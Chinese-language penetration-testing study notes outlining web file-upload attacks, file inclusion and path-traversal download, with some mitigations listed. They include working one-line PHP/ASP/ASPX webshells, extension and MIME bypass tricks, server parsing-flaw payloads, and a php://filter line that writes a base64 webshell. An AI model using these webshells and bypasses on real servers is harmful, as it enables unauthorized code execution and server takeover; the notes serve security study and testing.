-
文件上传
- web渗透的核心,内网渗透的基础
- 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
-
成功条件
- 文件成功上传到对方的服务器(躲过杀软)
- 知道文件上传的具体路径
- 上传的文件可以执行成功
-
文件上传的流程
- 前端JS对上传文件进行检测(文件类型)
- 服务器端MIME类型(文件类型)检测
- 服务器端目录路径检测
- 服务器端文件扩展名检测
- 服务器端文件内容检测
-
常用的一句话木马
-
php
- <?php @eval($_GET['cmd']);?>
- <?php @eval($_POST['cmd']);?>
- <?php @eval($_REQUEST['cmd']);?>
-
asp
- <% eval request('cmd') %>
-
aspx
- <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
-
-
文件上传的几种情况
-
前端JS绕过(验证文件后缀)
- 浏览器设置禁用JS代码(不执行检测代码)
- 正常文件上传,BP抓包修改文件后缀
- F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
- F12检查页面代码,替换JS文件(检查窗口不能关闭)
-
后端MIME类型绕过(验证MIME类型)
- BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
-
后端文件后缀名验证+文件内容验证
-
黑名单验证
- 尝试对文件后缀名进行爆破(所有可执行的后缀名)
- 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用)
- <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
- SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
- user.ini文件绕过
- .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
- auto_prepend_file=1.png;开头被包含
- auto_append_file=1.png; 结尾被包含
- 大小写绕过 .Php .pHp .PhP等
- 空格绕过 .php ,
- .绕过 .php.
- ..绕过 .php.. .php......等
- /绕过
- ::$DATA绕过 .php::$DATA
- 循环验证绕过.pphphp .phtmlhp等
- unicode编码绕过
- url编码绕过
-
白名单验证
-
路径绕过
- 文件路径可以操作
- POST hex下修改00绕过
- GET %00绕过
- 对文件路径无验证
- 文件路径可以操作
-
文件内容验证
- 添加图片文件头绕过
- 二次循环验证(针对文件内容被修改了)
-
竞争上传(针对先保留再删除的验证逻辑)
-
逻辑漏洞(代码审计出的逻辑上的漏洞)
- 通过功能实现逻辑存在漏洞;需要代码审计
-
-
解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
-
Nginx
- 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
- xxx.jpg%00.php
- cgi.fix_pathinfo问题
- 解释:例如/info.jpg/1.php/2.zhide
- 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
- 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马)
- /1.jpg/1.php
- /1.jpg%00.php
- /1.jpg/%20\0.php
- 解释:例如/info.jpg/1.php/2.zhide
- 解决方式:
- 设置php.ini中的 cgi.fix_pathinfo=0;
- 禁止上传目录的执行脚本权限
- 库站分离
- 高版本设置security.limit_extensions = .php;限制php文件执行
- 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
-
IIS
- IIS5.x~IIS6.x
- /xx.asp/xx.jpg
- xx.asp;.jpg
- test.asa/ test.cer/ test.cdx/
- 升级版本,更新补丁
- IIS7.x
- 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
- 可以实现对图片马的直接执行
- 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
- IIS5.x~IIS6.x
-
Apache
- 2.4.0~2.4.29
- $可以匹配\n \r等字符;(换行解析漏洞)
- php%0a绕过;会当成php进行解析
- php\x0A绕过;同上
- 升级apache版本即可避免这个问题
- 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞)
- test.php.php123 (从右往左进行判断解析)
- Add Handler解析漏洞
- 如果用户手动设置了.php文件的解析
- AddHandler php5-script .php
- test2.php.jpg绕过;后缀存在php就用php进行解析
- AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析)
- 设置的所有后缀都会以php解析
- AddHandler php5-script .php
- 解决方法:默认不手动设置php解析操作
- 如果用户手动设置了.php文件的解析
- 2.4.0~2.4.29
-
-
-
-
文件包含
-
本地包含
- 普通的文件包含;地址为本地地址
-
远程包含
- 文件地址为url远程文件地址
-
php伪协议
- allow_url_fopen默认开启 allow_url_include默认关闭
- 常用的伪协议示例
-
file:// +文件的绝对路径
- 使用本地的绝对路径
-
php://
- 常用
-
php://filter/read=convert.base64-encode/resource=./index
- 查看源码
- 参数格式
- resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
- read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
- write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>
- filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
- 打开文件时对内容进行base64解码然后写入
- 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
- 编码类型(过滤器)
-
php://input+POST请求内容(具体内容必须写在POST请求体中)
- 元数据的只读流;allow_url_include=On时可用
- 注:当enctype=”multipart/form-data”时,php://input是无效的。
-
- php://output
- 将内容以标准输出的形式写道缓存区
- php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
- 常用
-
https/http://+url地址
- allow_url_include=On;allow_url_open=On;
- 多用于远程文件包含
-
压缩流
- zip://压缩文件绝对路径%23压缩包中文件名
- 可以直接执行压缩包中的内容
- %23 #
- zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
- compress.bzip2://[文件绝对路径|文件相对路径]
- 访问压缩文件中子文件
- compress.zlib://[文件绝对路径|文件相对路径]
- 访问压缩文件中子文件
- phar://[文件绝对路径|文件相对路径]/[子文件名称]
- 归档;访问压缩文件中的子文件
- zip://压缩文件绝对路径%23压缩包中文件名
-
data://text/plain 具体命令
- allow_url_fopen=On allow_url_include=On
- data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
- 读取文件内容并执行
- glob://
- ssh2://
- rar://
- ogg://
- expect://
- allow_url_fopen默认开启 allow_url_include默认关闭
-
-
文件包含防御
- allow_url_include和allow_url_fopen关闭;
- 对用户包含的文件进行限制,如白名单、open_basedir;
- 检查用户输入;
- 检查变量是否初始化;
- 关键的过滤在服务器端进行;
-
文件下载
- 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
- 一般都设有文件保护
-
小技巧
- WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
- 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
-
文件上传绕过步骤(大致思路)
- 上传正常的图片文件看回显
- 删除MIME类型看效果
- 有问题就MIME爆破
- 没问题再测试后缀
- 乱码后缀检测对方的验证方式(确认黑名单还是白名单)
- 黑名单时后缀名爆破
- 白名单时尝试解析漏洞